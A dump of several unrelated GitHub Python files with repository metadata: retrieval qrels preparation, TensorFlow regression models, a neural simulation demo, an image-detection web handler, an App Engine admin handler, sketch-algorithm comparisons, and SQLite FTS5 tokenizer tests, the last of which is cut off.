{"seq_id": "38255307163", "text": "from typing import Dict, Tuple\nfrom tqdm.autonotebook import tqdm\nimport json\nimport os\nimport logging\nimport csv\n\nlogger = logging.getLogger(__name__)\n\nreader = csv.reader(open('test.tsv', encoding=\"utf-8\"), delimiter=\"\\t\", quoting=csv.QUOTE_MINIMAL)\nnext(reader)\n\ncorpus = {} # original : converted\ncid = 0\nwith open(\"corpus_dict.txt\", \"r\") as c:\n    for line in c:\n        text = line[:-1]\n        corpus[text] = str(cid)\n        cid += 1\n\nqueries = {} # original : converted\nqid = 0\nwith open(\"queries_dict.txt\", \"r\") as q:\n    for line in q:\n        text = line[:-1]\n        queries[text] = str(qid)\n        qid += 1\n\nwith open(\"qrels.dev.small.tsv\", \"w\") as w:\n    for id, row in enumerate(reader):\n        query_id, corpus_id, score = queries[row[0]], corpus[row[1]], int(row[2])\n        w.write(\"{}\\t{}\\t{}\\t{}\\n\".format(query_id, 0, corpus_id, score))\n", "repo_name": "lilys012/colbert", "sub_path": "scifact/get_all_qrels.py", "file_name": "get_all_qrels.py", "file_ext": "py", "file_size_in_byte": 861, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 8, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 10, "usage_type": "call"}, {"api_name": "csv.QUOTE_MINIMAL", "line_number": 10, "usage_type": "attribute"}]}
{"seq_id": "32401482664", "text": "\"\"\"This script supports three models: linear regression, deep neural network\nand DNNLinearCombined. Categorical features are handled by LabelEncoders. Thus\nall models are trained on the full set of features.\n\"\"\"\nimport numpy as np\nimport pandas as pd\nimport tensorflow as tf\nimport xgboost as xgb\nfrom sklearn.metrics import mean_absolute_error\nfrom sklearn.preprocessing import MinMaxScaler\n\nimport argparse\nimport tempfile\nimport time\n\nimport DataUtil\nimport Parameters\nimport PreprocessingUtil\n\nnp.random.seed(1)\ntf.set_random_seed(1)\n\ndef train_and_evaluate(trainFile, propertiesFile, model_type, model_dir):\n    \"\"\"Train and evaluate a model.\n\n        trainFile: path to train_2016_v2.csv\n        propertiesFile: path to properties_2016.csv\n        modelType: 'linear', 'deep', or 'combined'\n        modelDir: directory to store model\n    \"\"\"\n    x_train, x_test, y_train, y_test = _read_and_process_data(\n        trainFile, propertiesFile\n    )\n    if model_dir:\n        print(\"Storing model to: {}\".format(model_dir))\n    else:\n        model_dir = tempfile.mkdtemp()\n        print(\"Storing model to temporary directory: {}\".format(model_dir))\n    print(\"Training started\")\n    m = _build_estimator(model_dir, model_type, x_train)\n    start_time = time.time()\n    m.train(input_fn=_input_fn(x_train, y_train, num_epochs=5))\n    print(\"Training takes {} seconds\".format(time.time() - start_time))\n    print(\"Training done. Starting Evaluation\")\n    # evaluation\n    y_test_pred = list(m.predict(input_fn=_input_fn(\n        x_test, y_test, shuffle = False, num_threads=1, num_epochs = 1)))\n    y_test_pred = np.array([x[\"predictions\"][0] for x in y_test_pred])\n    mae = mean_absolute_error(y_true=y_test, y_pred=y_test_pred)\n    print(\"test set mean absolute error is {}\".format(mae))\n    # pring train set error as well\n    y_train_pred = list(m.predict(input_fn=_input_fn(\n        x_train, y_train, shuffle = False, num_threads=1, num_epochs = 1)))\n    y_train_pred = np.array([x[\"predictions\"][0] for x in y_train_pred])\n    mae = mean_absolute_error(y_true=y_train, y_pred=y_train_pred)\n    print(\"train set mean absolute error is {}\".format(mae))\n    return y_train_pred\n\ndef _build_estimator(model_dir, model_type, x_train):\n    \"\"\"Build and return a model to train on.\n    \"\"\"\n    numeric_columns = _build_numeric_columns(x_train)\n    hidden_units = [1024, 512, 256, 128]\n\n    if model_type == 'wide':\n        return tf.estimator.LinearRegressor(\n                model_dir=model_dir,\n                feature_columns=numeric_columns)\n    elif model_type == 'deep':\n        return tf.estimator.DNNRegressor(\n                model_dir=model_dir,\n                feature_columns=numeric_columns,\n                hidden_units=hidden_units,\n                dropout=0.5)\n    else:\n        return tf.estimator.DNNLinearCombinedRegressor(\n                model_dir=model_dir,\n                linear_feature_columns=numeric_columns,\n                dnn_feature_columns=numeric_columns,\n                dnn_hidden_units=hidden_units,\n                dnn_dropout=0.5)\n\ndef _build_numeric_columns(x_train):\n    \"\"\"Build and return feature columns given x_train. In this experiment\n    all columns are numeric because LabelEncoder is used.\n    \"\"\"\n    numeric_columns = [\n        tf.feature_column.numeric_column(col) for col in x_train.columns\n    ]\n    return numeric_columns\n\ndef _input_fn(x, y, num_epochs, shuffle=True, batch_size=32, num_threads=1):\n    return tf.estimator.inputs.pandas_input_fn(\n        x=x,\n        y=y,\n        batch_size=batch_size,\n        num_epochs=num_epochs,\n        shuffle=shuffle,\n        num_threads=num_threads)\n\ndef _read_and_process_data(trainFile, propertiesFile):\n    \"\"\"Read and preprocess data with LabelEncoder, MinMaxScaler\n        and IsolationForest. Return x_train, x_test, y_train and y_test.\n    \"\"\"\n    print(\"Start reading and processing data\")\n    df_train = DataUtil.readTrainFile(trainFile)\n    df_properties = DataUtil.readPropertiesFile(propertiesFile)\n\n    df_properties = PreprocessingUtil.applyLabelEncoder(df_properties)\n\n    # find the intersection of training data and property information for\n    # all data\n    inter = pd.merge(df_properties, df_train, how=\"inner\", on=[\"parcelid\"])\n    # decompose transaction date information\n    inter['transactiondate'] = pd.to_datetime(df_train[\"transactiondate\"])\n    inter['transaction_year'] = inter['transactiondate'].dt.year\n    inter['transaction_month'] = inter['transactiondate'].dt.month\n    inter['transaction_day'] = inter['transactiondate'].dt.day\n\n    y = inter['logerror'].astype(float)\n    x_train, x_test, y_train, y_test = DataUtil.getTrainAndTestData(\n        inter, y, Parameters.getTestSetRatio()\n    )\n    x_train = x_train.drop(Parameters.getColumnsToDrop(), axis = 1)\n    x_test = x_test.drop(Parameters.getColumnsToDrop(), axis = 1)\n    print(\"Start applying MinMaxScaler\")\n    minMaxScaler = MinMaxScaler()\n    x_train.iloc[::] = minMaxScaler.fit_transform(x_train.iloc[::])\n    x_test.iloc[::] = minMaxScaler.transform(x_test.iloc[::])\n    print(\"MinMaxScaler done. Start filtering outliers\")\n    y_train_inoutliners = PreprocessingUtil.applyIsolationForest(\n        y_train.values.reshape(-1, 1))\n    index = y_train_inoutliners == 1\n    x_train = x_train.iloc[index]\n    x_train.reset_index(drop = True, inplace = True)\n    y_train = y_train.iloc[index]\n    y_train.reset_index(drop = True, inplace = True)\n    print(\"Finished reading and processing data\")\n    return x_train, x_test, y_train, y_test\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser()\n    parser.add_argument('-tf', '--trainFile',\n        help='path to train_2016_v2.csv file', required=True)\n    parser.add_argument('-pf', '--propertiesFile',\n        help='path to properties_2016.csv.csv file', required=True)\n    parser.add_argument(\"-m\", \"--modelTpye\",\n        help=\"Options are [wide, deep, combined].\\\n        'wide' selects the linear regression model, \\\n        'deep' selects the deep neural network model \\\n        and 'combined' selects the ensemble model(dnn & linear). Default\\\n        to 'combined'.\", default='combined')\n    parser.add_argument(\"--modelDir\", help=\"dir to store trained model.\\\n        Default to a temporary directory\", default='')\n\n    args = parser.parse_args()\n    train_and_evaluate(args.trainFile, args.propertiesFile,\n        args.modelTpye, args.modelDir)\n", "repo_name": "neil-lhm/cs8803FinalProject", "sub_path": "DNNLinearCombined.py", "file_name": "DNNLinearCombined.py", "file_ext": "py", "file_size_in_byte": 6408, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.random.seed", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 20, "usage_type": "attribute"}, {"api_name": "tensorflow.set_random_seed", "line_number": 21, "usage_type": "call"}, {"api_name": "tempfile.mkdtemp", "line_number": 37, "usage_type": "call"}, {"api_name": "time.time", "line_number": 41, "usage_type": "call"}, {"api_name": "time.time", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 48, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_absolute_error", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 54, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_absolute_error", "line_number": 55, "usage_type": "call"}, {"api_name": "tensorflow.estimator.LinearRegressor", "line_number": 66, "usage_type": "call"}, {"api_name": "tensorflow.estimator", "line_number": 66, "usage_type": "attribute"}, {"api_name": "tensorflow.estimator.DNNRegressor", "line_number": 70, "usage_type": "call"}, {"api_name": "tensorflow.estimator", "line_number": 70, "usage_type": "attribute"}, {"api_name": "tensorflow.estimator.DNNLinearCombinedRegressor", "line_number": 76, "usage_type": "call"}, {"api_name": "tensorflow.estimator", "line_number": 76, "usage_type": "attribute"}, {"api_name": "tensorflow.feature_column.numeric_column", "line_number": 88, "usage_type": "call"}, {"api_name": "tensorflow.feature_column", "line_number": 88, "usage_type": "attribute"}, {"api_name": "tensorflow.estimator.inputs.pandas_input_fn", "line_number": 93, "usage_type": "call"}, {"api_name": "tensorflow.estimator", "line_number": 93, "usage_type": "attribute"}, {"api_name": "DataUtil.readTrainFile", "line_number": 106, "usage_type": "call"}, {"api_name": "DataUtil.readPropertiesFile", "line_number": 107, "usage_type": "call"}, {"api_name": "PreprocessingUtil.applyLabelEncoder", "line_number": 109, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 113, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 115, "usage_type": "call"}, {"api_name": "DataUtil.getTrainAndTestData", "line_number": 121, "usage_type": "call"}, {"api_name": "Parameters.getTestSetRatio", "line_number": 122, "usage_type": "call"}, {"api_name": "Parameters.getColumnsToDrop", "line_number": 124, "usage_type": "call"}, {"api_name": "Parameters.getColumnsToDrop", "line_number": 125, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.MinMaxScaler", "line_number": 127, "usage_type": "call"}, {"api_name": "PreprocessingUtil.applyIsolationForest", "line_number": 131, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 142, "usage_type": "call"}]}
{"seq_id": "70740695306", "text": "# -*- coding: utf-8 -*- \n# @Time : 2022/9/18 15:26 \n# @Author : lepold\n# @File : simulation_demo.py\nimport numpy as np\n\nfrom model import parameter\nfrom model import node_network\nimport matplotlib.pyplot as plt\n\nT = 10\npm = parameter.Parameter(time=T)\npm.data2connection(\"../data/Desikan_68/data/sc_train.csv\")\ny = node_network.integrate(pm, init=None, g=1., w_ie=1., console_output=True)\nfig = plt.figure(figsize=(8, 6), dpi=100)\nax1 = fig.add_subplot(2, 1, 1)\nax2 = fig.add_subplot(2, 1, 2)\nprint(\"y.shape\", y.shape)\nfor i in range(3):\n    ax1.plot(y[:, 2 * i], lw=1.,)\n    ax2.plot(y[:, 2* i+1], lw=1.)\nax1.set_xticks([])\nax2.set_xticks(np.linspace(0, y.shape[0], 5, dtype=np.int_, endpoint=False))\nax2.set_xticklabels(np.linspace(0, T, 5, dtype=np.int_, endpoint=False))\nax1.set_ylabel(r\"$S_e$\")\nax2.set_ylabel(r\"$S_i$\")\nfig.tight_layout()\nfig.show()", "repo_name": "lepodl/FC_Prediction", "sub_path": "test/simulation_demo.py", "file_name": "simulation_demo.py", "file_ext": "py", "file_size_in_byte": 854, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "model.parameter.Parameter", "line_number": 12, "usage_type": "call"}, {"api_name": "model.parameter", "line_number": 12, "usage_type": "name"}, {"api_name": "model.node_network.integrate", "line_number": 14, "usage_type": "call"}, {"api_name": "model.node_network", "line_number": 14, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 15, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.int_", "line_number": 23, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.int_", "line_number": 24, "usage_type": "attribute"}]}
{"seq_id": "70533197386", "text": "# -*- coding : utf-8 -*-\n# coding: utf-8\n\nimport paddlex as pdx\nimport json\nimport Constraint\nimport base64\nimport paddle\nfrom Main import use\nimport argparse\nimport torch\nimport torch.backends.cudnn as cudnn\nfrom Main.use import work\nimport subprocess\n\n\nclass Model:\n    model = pdx.load_model(Constraint.model_path)\n\n    # 加载参数\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--weights-file', default='./Main/inference_model/best.pth', type=str)\n    parser.add_argument('--dir', type=str, default='./pic/')\n    parser.add_argument('--scale', type=int, default=2)\n    args = parser.parse_args()\n\n    # 设备设置\n    cudnn.benchmark = True\n    device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n\n    sr_model = use.SRCNN().to(device)\n\n    state_dict = sr_model.state_dict()\n    for n, p in torch.load(args.weights_file, map_location=lambda storage, loc: storage).items():\n        if n in state_dict.keys():\n            state_dict[n].copy_(p)\n        else:\n            raise KeyError(n)\n    sr_model.eval()\n\n    \"\"\"主要处理类\"\"\"\n\n    def __init__(self):\n        print(paddle.__version__)\n\n    def predict(self, img, appKey, use_sr=\"0\"):\n        if appKey != \"iuaena0516\":\n            data = {\n                'error_message': 'appKey错误'\n            }\n            response = json.dumps(data)\n            return response, 200, {\"Content-Type\": \"application/json\"}\n        p = img.find('base64,')\n        if p == -1:\n            data = {\n                'error_message': '参数错误'\n            }\n            response = json.dumps(data)\n            return response, 200, {\"Content-Type\": \"application/json\"}\n        else:\n            test_img = Constraint.save_dir + 'input.png'\n            head, context = img.split(\",\")  # 将base64_str以“,”分割为两部分\n            img_data = base64.b64decode(context)  # 解码时只要内容部分\n            # 将图片保存为文件\n            with open(test_img, 'wb') as f:\n                f.write(img_data)\n                # 超分辨率\n                if use_sr == \"1\":\n                    work(self.sr_model, test_img, self.args, self.device)\n                    # p = subprocess.Popen(\n                    #     [\"D:/BaiduNetdiskDownload/ESRGAN/realesrgan-ncnn-vulkan.exe\", \"-i\", test_img, \"-o\", test_img])\n                    # p.wait()\n\n            result = self.model.predict(test_img)\n            pdx.det.visualize(test_img, result, threshold=0.1, save_dir=Constraint.save_dir)\n            # 第一种\n            data = {\n                'error_message': 'success',\n                'result': result,\n                'img': \"data:image/jpeg;base64,\" + return_img_stream(Constraint.save_dir + \"visualize_input.png\"),\n            }\n            response = json.dumps(data)  # 将python的字典转换为json字符串\n            return response, 200, {\"Content-Type\": \"application/json\"}\n\n    def test_predict(self, input_img, sr=True):\n        if sr:\n            work(self.sr_model, input_img, self.args, self.device)\n            # p = subprocess.Popen(\n            #     [\"D:/BaiduNetdiskDownload/ESRGAN/realesrgan-ncnn-vulkan.exe\", \"-i\", input_img, \"-o\", input_img])\n            # p.wait()\n        return self.model.predict(input_img)\n\n\ndef return_img_stream(img_local_path):\n    \"\"\"\n    工具函数:\n    获取本地图片流\n    :param img_local_path:文件单张图片的本地绝对路径\n    :return: 图片流\n    \"\"\"\n    with open(img_local_path, 'rb') as img_f:\n        img_stream = img_f.read()\n        img_stream = base64.b64encode(img_stream)\n        # with open('001.jpg', 'wb') as f:\n        #     f.write(base64.b64decode(img_stream))\n        # 返回时去掉二进制标记\n        return str(img_stream)[2:-1]\n    return ''\n", "repo_name": "xxkdcdy/miracle-of-light", "sub_path": "predictor/Main/model.py", "file_name": "model.py", "file_ext": "py", "file_size_in_byte": 3763, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "paddlex.load_model", "line_number": 18, "usage_type": "call"}, {"api_name": "Constraint.model_path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.backends.cudnn.benchmark", "line_number": 28, "usage_type": "attribute"}, {"api_name": "torch.backends.cudnn", "line_number": 28, "usage_type": "name"}, {"api_name": "torch.device", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 29, "usage_type": "attribute"}, {"api_name": "Main.use.SRCNN", "line_number": 31, "usage_type": "call"}, {"api_name": "Main.use", "line_number": 31, "usage_type": "name"}, {"api_name": "torch.load", "line_number": 34, "usage_type": "call"}, {"api_name": "paddle.__version__", "line_number": 44, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 51, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 58, "usage_type": "call"}, {"api_name": "Constraint.save_dir", "line_number": 61, "usage_type": "attribute"}, {"api_name": "base64.b64decode", "line_number": 63, "usage_type": "call"}, {"api_name": "Main.use.work", "line_number": 69, "usage_type": "call"}, {"api_name": "paddlex.det.visualize", "line_number": 75, "usage_type": "call"}, {"api_name": "paddlex.det", "line_number": 75, "usage_type": "attribute"}, {"api_name": "Constraint.save_dir", "line_number": 75, "usage_type": "attribute"}, {"api_name": "Constraint.save_dir", "line_number": 80, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 82, "usage_type": "call"}, {"api_name": "Main.use.work", "line_number": 87, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 103, "usage_type": "call"}]}
{"seq_id": "4731257566", "text": "import datetime\nimport urllib\nimport webapp2\nimport cgi\nimport sys\nimport json\n\nfrom google.appengine.ext import db\nfrom google.appengine.api import users\nimport jinja2\nimport os\n\nfrom datetime import datetime\n\nfrom handlers import *\nfrom datamodels import *\n\njinja_environment = jinja2.Environment(\n    loader=jinja2.FileSystemLoader(os.path.dirname(__file__)))\n\n\ndef testing_key(testing_name=None):\n    return db.Key.from_path('Testing', testing_name or 'default_testing')\n\n\nclass AssignQuery(webapp2.RequestHandler):\n    def get(self):\n        test = int(self.request.get('movie_id'))\n\n        reels = db.GqlQuery('SELECT * FROM Reel WHERE film_id=:1', test)\n\n        my_response = []\n\n        for reel in reels:\n            my_response.append(str(reel.reel_no))\n            my_response.append(str(reel.key().id()))\n        jsona = json.dumps(my_response)\n\n        self.response.headers.add_header('content-type', 'application/json', charset='utf-8')\n        self.response.out.write(jsona)\n\n\nclass AssignHandler(BaseHandler):\n    @user_required\n    def get(self):\n        current_user = self.auth.get_user_by_session()\n        admin = current_user['admin']\n\n        if not (admin):\n            self.redirect('/')\n            return\n\n        films_query = Film.all()\n        films = films_query.fetch(10000)\n        cinemas_query = CinemaHall.all()\n        cinemas = cinemas_query.fetch(10000)\n        reels_query = Reel.all()\n        reels = reels_query.fetch(10000)\n\n        template_values = {\n        'films': films,\n        'reels': reels,\n        'cinemas': cinemas,\n        }\n\n        self.render_template('assign.html', template_values)\n\n    @user_required\n    def post(self):\n\n        #check for admin\n        current_user = self.auth.get_user_by_session()\n        admin = current_user['admin']\n\n        if not (admin):\n            self.redirect('/')\n            return\n\n        show = ShowHistory(parent=testing_key('default'))\n        show.cinema_id = int(self.request.get('cinema'))\n        show.reel_id = int(self.request.get('reel'))\n        if (self.request.get('3d') == 'True'):\n            show.threeD = True\n        else:\n            show.threeD = False\n\n        start_date = self.request.get('start_date')\n        show.start_date = datetime.strptime(start_date, '%m/%d/%Y').date()\n\n        show.put()\n\n        self.redirect('/')\n\t\t", "repo_name": "smaldeniya/ceylontheatresplatform", "sub_path": "assignhandlers.py", "file_name": "assignhandlers.py", "file_ext": "py", "file_size_in_byte": 2352, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "jinja2.Environment", "line_number": 18, "usage_type": "call"}, {"api_name": "jinja2.FileSystemLoader", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "google.appengine.ext.db.Key.from_path", "line_number": 23, "usage_type": "call"}, {"api_name": "google.appengine.ext.db.Key", "line_number": 23, "usage_type": "attribute"}, {"api_name": "google.appengine.ext.db", "line_number": 23, "usage_type": "name"}, {"api_name": "webapp2.RequestHandler", "line_number": 26, "usage_type": "attribute"}, {"api_name": "google.appengine.ext.db.GqlQuery", "line_number": 30, "usage_type": "call"}, {"api_name": "google.appengine.ext.db", "line_number": 30, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 37, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 88, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 88, "usage_type": "name"}]}
{"seq_id": "9648569412", "text": "from collections import Counter\nfrom src.sketches.count_sketch import CountSketch\nfrom src.sketches.complementary_count_min_sketch import ComplementaryCountMinSketch\nimport numpy as np\n\nimport random\n\nccms_losses = []\ncs_losses = []\n\n\ndef power_law(k_min, k_max, y, gamma):\n    return ((k_max ** (-gamma + 1) - k_min ** (-gamma + 1)) * y + k_min ** (-gamma + 1.0)) ** (1.0 / (-gamma + 1.0))\n\n\nnodes = 10000\n\npower_law_distribution = np.zeros(nodes, float)\nk_min = 1.0\nk_max = 1000 * k_min\ngamma = 2.0\n\nfor n in range(nodes):\n    power_law_distribution[n] = power_law(k_min, k_max, np.random.uniform(0, 1), gamma)\n\nround_values = [int(round(item)) for item in power_law_distribution]\n\n\ndef repetitions():\n    for n in range(nodes):\n        power_law_distribution[n] = power_law(k_min, k_max, np.random.uniform(0, 1), gamma)\n    round_values = [int(round(item)) for item in power_law_distribution]\n    pos_neg = [1, -1]\n    random_numbers = [random.choice(pos_neg) * item for item in round_values]\n    count_dict = Counter(random_numbers)\n    actual_count_dict = count_dict\n    count_dict = sorted(count_dict.items())\n    ccms = ComplementaryCountMinSketch(4, 25)\n    # top frequent items comparison\n    cs = CountSketch(5, 50)\n    for item in random_numbers:\n        if item > 0:\n            ccms.update(item)\n            cs.update(item)\n        else:\n            ccms.update(abs(item), -1)\n            cs.update(abs(item), -1)\n    items = list(val[0] for val in count_dict)\n    items = list(set(items))\n    ccms_loss = 0\n    cs_loss = 0\n    for item in items:\n        ccms_val = ccms.query(item)\n        cs_val = cs.query(item)\n        actual_count = actual_count_dict[item] - actual_count_dict[-item]\n        ccms_loss += (actual_count - ccms_val) ** 2\n        cs_loss += (actual_count - cs_val) ** 2\n    ccms_losses.append(ccms_loss / len(items))\n    cs_losses.append(cs_loss / len(items))\n\n\nfor i in range(100):\n    repetitions()\n\nprint(\"ccms avergage loss {}\".format(np.mean(ccms_losses)))\nprint(\"cs average loss {}\".format(np.mean(cs_losses)))\n", "repo_name": "neerajsharma9195/count-sketch-feature-selection", "sub_path": "src/independent_study/heavy_hitters/compare_ccms_cs.py", "file_name": "compare_ccms_cs.py", "file_ext": "py", "file_size_in_byte": 2049, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.zeros", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 24, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 31, "usage_type": "attribute"}, {"api_name": "random.choice", "line_number": 34, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 35, "usage_type": "call"}, {"api_name": "src.sketches.complementary_count_min_sketch.ComplementaryCountMinSketch", "line_number": 38, "usage_type": "call"}, {"api_name": "src.sketches.count_sketch.CountSketch", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 66, "usage_type": "call"}]}
{"seq_id": "36675626354", "text": "# coding: utf-8\nfrom __future__ import print_function, unicode_literals\n\nimport re\nimport sqlite3\nfrom collections import Counter\n\nimport pytest\nfrom cffi import FFI\n\nfrom sqlitefts import fts5, fts5_aux\n\nffi = FFI()\n\n\nclass SimpleTokenizer(fts5.FTS5Tokenizer):\n    _p = re.compile(r\"\\w+\", re.UNICODE)\n\n    def tokenize(self, text, flags):\n        for m in self._p.finditer(text):\n            s, e = m.span()\n            t = text[s:e]\n            l = len(t.encode(\"utf-8\"))\n            p = len(text[:s].encode(\"utf-8\"))\n            yield t, p, p + l\n\n\n@pytest.fixture\ndef c():\n    c = sqlite3.connect(\":memory:\")\n    c.row_factory = sqlite3.Row\n    return c\n\n\n@pytest.fixture\ndef tm():\n    return fts5.make_fts5_tokenizer(SimpleTokenizer())\n\n\ndef test_fts5_api_from_db(c):\n    fts5api = fts5.fts5_api_from_db(c)\n    assert fts5api.iVersion == 2\n    assert fts5api.xCreateTokenizer\n    c.close()\n\n\ndef test_make_tokenizer(c):\n    tm = fts5.make_fts5_tokenizer(SimpleTokenizer())\n    assert all(getattr(tm, x) is not None for x in (\"xCreate\", \"xDelete\", \"xTokenize\"))\n    c.close()\n\n\ndef test_make_tokenizer_by_class(c):\n    tm = fts5.make_fts5_tokenizer(SimpleTokenizer)\n    assert all(getattr(tm, x) is not None for x in (\"xCreate\", \"xDelete\", \"xTokenize\"))\n    c.close()\n\n\ndef test_register_tokenizer(c, tm):\n    name = \"super_simple\"\n    assert fts5.register_tokenizer(c, name, tm)\n    c.close()\n\n\ndef test_register_tokenizer_with_destroy(c, tm):\n    name = \"super_simple\"\n    arg_on_destroy = []\n    context = \"hello\"\n\n    def on_destroy(x):\n        arg_on_destroy.append(x)\n\n    assert fts5.register_tokenizer(c, name, tm, context=context, on_destroy=on_destroy)\n    c.close()\n    assert arg_on_destroy == [context]\n\n\ndef test_createtable(c, tm):\n    name = \"super_simple\"\n    sql = \"CREATE VIRTUAL TABLE fts USING fts5(w, tokenize={})\".format(name)\n    fts5.register_tokenizer(c, name, tm)\n    c.execute(sql)\n\n    r = c.execute(\n        \"SELECT * FROM sqlite_master WHERE type='table' AND name='fts'\"\n    ).fetchone()\n    assert r\n    assert (\n        r[str(\"type\")] == \"table\"\n        and r[str(\"name\")] == \"fts\"\n        and r[str(\"tbl_name\")] == \"fts\"\n    )\n    assert r[str(\"sql\")].upper() == sql.upper()\n    c.close()\n\n\ndef test_createtale_using_tokenizer_class(c):\n    initialized = {}\n    deleted = Counter()\n\n    class ST(SimpleTokenizer):\n        def __init__(self, context=None, args=None):\n            initialized[self] = (context, tuple(args))\n\n        def on_delete(self):\n            deleted[self] += 1\n\n    name = \"super_simple\"\n    fts5.register_tokenizer(c, name, fts5.make_fts5_tokenizer(ST), context=\"test\")\n    sql = (\n        \"CREATE VIRTUAL TABLE fts \" \"USING FTS5(content, tokenize='{} {} {}')\"\n    ).format(name, \"arg\", \"引数\")\n    c.execute(sql)\n    assert len(initialized) == 1\n    assert list(initialized.values()) == [(\"test\", (\"arg\", \"引数\"))]\n    assert len(deleted) == 0\n    sql = (\n        \"CREATE VIRTUAL TABLE fts_2 \" \"USING FTS5(content, tokenize='{} {} {}')\"\n    ).format(name, \"arg2\", \"引数2\")\n    c.execute(sql)\n    c.close()\n    assert set(initialized.values()) == {\n        (\"test\", (\"arg\", \"引数\")),\n        (\"test\", (\"arg2\", \"引数2\")),\n    }\n    assert list(x for x in deleted.values()) == [1, 1]\n\n\ndef test_insert(c, tm):\n    name = \"super_simple\"\n    content = \"これは日本語で書かれています\"\n    fts5.register_tokenizer(c, name, tm)\n    c.execute(\"CREATE VIRTUAL TABLE fts USING FTS5(content, tokenize={})\".format(name))\n    r = c.execute(\"INSERT INTO fts VALUES(?)\", (content,))\n    assert r.rowcount == 1\n    r = c.execute(\"SELECT * FROM fts\").fetchone()\n    assert r\n    assert r[str(\"content\")] == content\n    c.close()\n\n\ndef test_match(c, tm):\n    name = \"super_simple\"\n    contents = [(\"abc def\",), (\"abc xyz\",), (\"あいうえお かきくけこ\",), (\"あいうえお らりるれろ\",)]\n    fts5.register_tokenizer(c, name, tm)\n    c.execute(\"CREATE VIRTUAL TABLE fts USING FTS5(content, tokenize={})\".format(name))\n    r = c.executemany(\"INSERT INTO fts VALUES(?)\", contents)\n    assert r.rowcount == 4\n    r = c.execute(\"SELECT * FROM fts\").fetchall()\n    assert len(r) == 4\n    r = c.execute(\"SELECT * FROM fts WHERE fts MATCH 'abc'\").fetchall()\n    assert len(r) == 2\n    r = c.execute(\"SELECT * FROM fts WHERE fts MATCH 'def'\").fetchall()\n    assert len(r) == 1 and r[0][str(\"content\")] == contents[0][0]\n    r = c.execute(\"SELECT * FROM fts WHERE fts MATCH 'xyz'\").fetchall()\n    assert len(r) == 1 and r[0][str(\"content\")] == contents[1][0]\n    r = c.execute(\"SELECT * FROM fts WHERE fts MATCH 'zzz'\").fetchall()\n    assert len(r) == 0\n    r = c.execute(\"SELECT * FROM fts WHERE fts MATCH 'あいうえお'\").fetchall()\n    assert len(r) == 2\n    r = c.execute(\"SELECT * FROM fts WHERE fts MATCH 'かきくけこ'\").fetchall()\n    assert len(r) == 1 and r[0][str(\"content\")] == contents[2][0]\n    r = c.execute(\"SELECT * FROM fts WHERE fts MATCH 'らりるれろ'\").fetchall()\n    assert len(r) == 1 and r[0][str(\"content\")] == contents[3][0]\n    r = c.execute(\"SELECT * FROM fts WHERE fts MATCH 'まみむめも'\").fetchall()\n    assert len(r) == 0\n    c.close()\n\n\ndef test_full_text_index_queries(c, tm):\n    name = \"super_simple\"\n    docs = [\n        (\n            \"README\",\n            \"sqlitefts-python provides binding for tokenizer of SQLite Full-Text search(FTS3/4). It allows you to write tokenizers in Python.\",\n        ),\n        (\n            \"LICENSE\",\n            \"\"\"Permission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\"\"\",\n        ),\n        (\"日本語\", \"あいうえお かきくけこ さしすせそ たちつてと 